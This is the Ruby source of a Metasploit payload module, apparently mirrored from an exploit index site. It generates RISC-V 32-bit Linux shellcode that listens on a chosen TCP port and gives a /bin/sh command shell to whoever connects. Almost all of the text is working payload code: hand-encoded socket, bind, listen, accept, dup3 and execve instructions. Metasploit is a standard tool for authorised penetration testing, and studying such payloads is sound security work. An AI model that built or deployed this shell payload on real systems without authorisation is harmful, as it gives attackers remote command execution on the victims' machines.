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## https://sploitus.com/exploit?id=MSF:PAYLOAD-LINUX-RISCV32LE-SHELL_BIND_TCP-
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
module MetasploitModule
CachedSize = 180
include Msf::Payload::Single
include Msf::Payload::Linux
include Msf::Sessions::CommandShellOptions
SYS_SOCKET = 198
SYS_BIND = 200
SYS_LISTEN = 201
SYS_ACCEPT = 202
SYS_DUP3 = 24
SYS_EXECVE = 221
AF_INET = 2
SOCK_STREAM = 1
IPPROTO_IP = 0
def initialize(info = {})
super(
merge_info(
info,
'Name' => 'Linux Command Shell, Bind TCP Inline',
'Description' => 'Listen for a connection and spawn a command shell',
'Author' => [
'modexp', # bind.s RISC-V 64-bit shellcode
'bcoles', # RISC-V 32-bit shellcode port and metasploit
],
'License' => BSD_LICENSE,
'Platform' => 'linux',
'Arch' => [ ARCH_RISCV32LE ],
'References' => [
['URL', 'https://modexp.wordpress.com/2022/05/02/shellcode-risc-v-linux/'],
['URL', 'https://github.com/bcoles/shellcode/blob/main/riscv32/bindshell/bind.s'],
['URL', 'https://web.archive.org/web/20230326161514/https://github.com/odzhan/shellcode/commit/d3ee25a6ebcdd21a21d0e6eccc979e45c24a9a1d'],
],
'Handler' => Msf::Handler::BindTcp,
'Session' => Msf::Sessions::CommandShellUnix
)
)
end
# Encode a RISC-V LUI (Load Upper Immediate) instruction
def encode_lui(rd, imm20)
0b0110111 | ((imm20 & 0xfffff) << 12) | (rd << 7)
end
# Encode a RISC-V ADDI (Add Immediate) instruction
def encode_addi(rd, rs1, imm12)
0b0010011 | ((imm12 & 0xfff) << 20) | (rs1 << 15) | (0b000 << 12) | (rd << 7)
end
# Emit RISC-V instruction words that build an arbitrary 32-bit constant in a chosen register using LUI+ADDI.
def load_const_into_reg32(const, rd)
raise ArgumentError, "Constant '#{const}' is #{const.class}; not Integer" unless const.is_a?(Integer)
max_const = 0xFFFF_FFFF
raise ArgumentError, "Constant #{const} is outside range 0..#{max_const}" unless const.between?(0, max_const)
if const >= -2048 && const <= 2047
return [encode_addi(rd, 0, const)]
end
upper = (const + 0x800) >> 12
low = const & 0xfff
[
encode_lui(rd, upper),
encode_addi(rd, rd, low)
]
end
def generate(_opts = {})
return super unless datastore['LPORT']
lport = datastore['LPORT'].to_i
sockaddr_word = AF_INET | ([lport].pack('n').unpack1('v') << 16)
shellcode = [
# prepare stack
0xff010113, # addi sp,sp,-16
# s = socket(AF_INET, SOCK_STREAM, IPPROTO_IP);
*load_const_into_reg32(SYS_SOCKET, 17), # li a7,198 # SYS_socket
*load_const_into_reg32(IPPROTO_IP, 12), # li a2,0 # IPPROTO_IP
*load_const_into_reg32(SOCK_STREAM, 11), # li a1,1 # SOCK_STREAM
*load_const_into_reg32(AF_INET, 10), # li a0,2 # AF_INET
0x00000073, # ecall
# bind(s, &sa, sizeof(sa));
0x00050693, # mv a3,a0 # a3 = s
*load_const_into_reg32(SYS_BIND, 17), # li a7,200 # SYS_bind
*load_const_into_reg32(16, 12), # li a2,16 # sizeof(sockaddr_in)
*load_const_into_reg32(sockaddr_word, 11), # li a1,<packed> # sin_family=AF_INET, sin_port=port, sin_addr=INADDR_ANY
0x00b12023, # sw a1,0(sp) # store first 8 bytes (family+port+addr) at stack
0x00012223, # sw 0,4(sp) # sin_addr
0x00012423, # sw 0,8(sp) # sin_zero
0x00012623, # sw 0,12(sp) # sin_zero
0x00010593, # mv a1,sp # a1 = &sa
0x00068513, # mv a0,a3 # a0 = s
0x00000073, # ecall
# listen(s, 1);
*load_const_into_reg32(SYS_LISTEN, 17), # li a7,201 # SYS_listen
0x00100593, # li a1,1 # backlog = 1
0x00068513, # mv a0,a3 # a0 = s
0x00000073, # ecall
# r = accept(s, 0, 0);
*load_const_into_reg32(SYS_ACCEPT, 17), # li a7,202 # SYS_accept
0x00000613, # li a2,0 # addrlen = NULL
0x00000593, # li a1,0 # addr = NULL
0x00068513, # mv a0,a3 # a0 = s
0x00000073, # ecall
# dup stdin/stdout/stderr
0x00050713, # mv a4,a0
*load_const_into_reg32(SYS_DUP3, 17), # li a7,24 # SYS_dup3
*load_const_into_reg32(3, 11), # li a1,3 # start from STDERR_FILENO + 1 = 3
# c_dup:
0x00070513, # mv a0,a4
0xfff58593, # addi a1,a1,-1
0x00000073, # ecall
0xfe059ae3, # bnez a1,100ec <c_dup>
# execve("/bin/sh", NULL, NULL);
*load_const_into_reg32(SYS_EXECVE, 17), # li a7,221
*load_const_into_reg32(0x6e69622f, 5), # "/bin"
0x00512023, # sw t0,0(sp)
*load_const_into_reg32(0x0068732f, 5), # "/sh\0"
0x00512223, # sw t0,4(sp)
0x00010513, # mv a0,sp # path = /bin/sh
0x00000593, # li a1,0 # argv = NULL
0x00000613, # li a2,0 # envp = NULL
0x00000073 # ecall
].pack('V*')
# align our shellcode to 4 bytes
shellcode += "\x00" while shellcode.bytesize % 4 != 0
super.to_s + shellcode
end
end